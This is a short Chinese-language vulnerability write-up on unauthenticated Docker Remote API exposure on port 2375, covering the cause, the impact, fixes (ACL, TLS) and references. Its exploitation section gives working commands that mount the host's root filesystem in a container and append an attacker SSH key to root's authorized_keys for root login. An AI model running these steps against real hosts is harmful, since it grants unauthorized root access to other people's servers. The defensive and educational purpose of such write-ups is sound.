Docker_remote_api未授权访问漏洞
docker_remote_api简介:
docker remote api主要的目的是取代命令行界面,
docker client和docker daemon通过unix domain socket进行通信.
默认情况下,只有本机的root和docker组用户才能操作docker.
漏洞成因:
- dockerd -H unix:///var/run/docker. sock -H 0.0. 0.0:2375
- docker守护进程监听在0.0.0.0,外网可访问
- 没有使用iptable等限制可连接的来源ip。
漏洞危害:
可执行docker命令,获取敏感信息,获取docker镜像权限,获取镜像宿主机root权限。
漏洞利用:
-
远程对被攻击主机的docker容器进行操作
docker -H tcp://x.x.x.x:2375 images
-
远程启动被攻击主机的docker容器,并且将该宿主机的根目录挂载到容器的/mnt目录下
docker -H tcp://x.x.x.x:2375 run -it-v /:/mnt imageID /bin/bash
-
在攻击机生成密钥对,复制dockerapi.pub的内容
Ssh-keygen -f dockerapi
-
进入/root/mnt/root/.ssh目录下,将dockerapi.pub的内容追加到authorized_keys中
Cd /root/mnt/root/.ssh
Echo 公钥内容 >> authorized_keys -
在攻击机使用私钥登录宿主机
Ssh -i dockerapi root@宿主机IP
修复方法:
1、设置ACL,只允许信任ip连接对应端口
2、开启TLS,使用生成的证书进行认证
修复参考链接:https://docs.docker.com/engine/security/https/
其他参考链接:
https://www.cnblogs.com/pythonal/p/9207696.html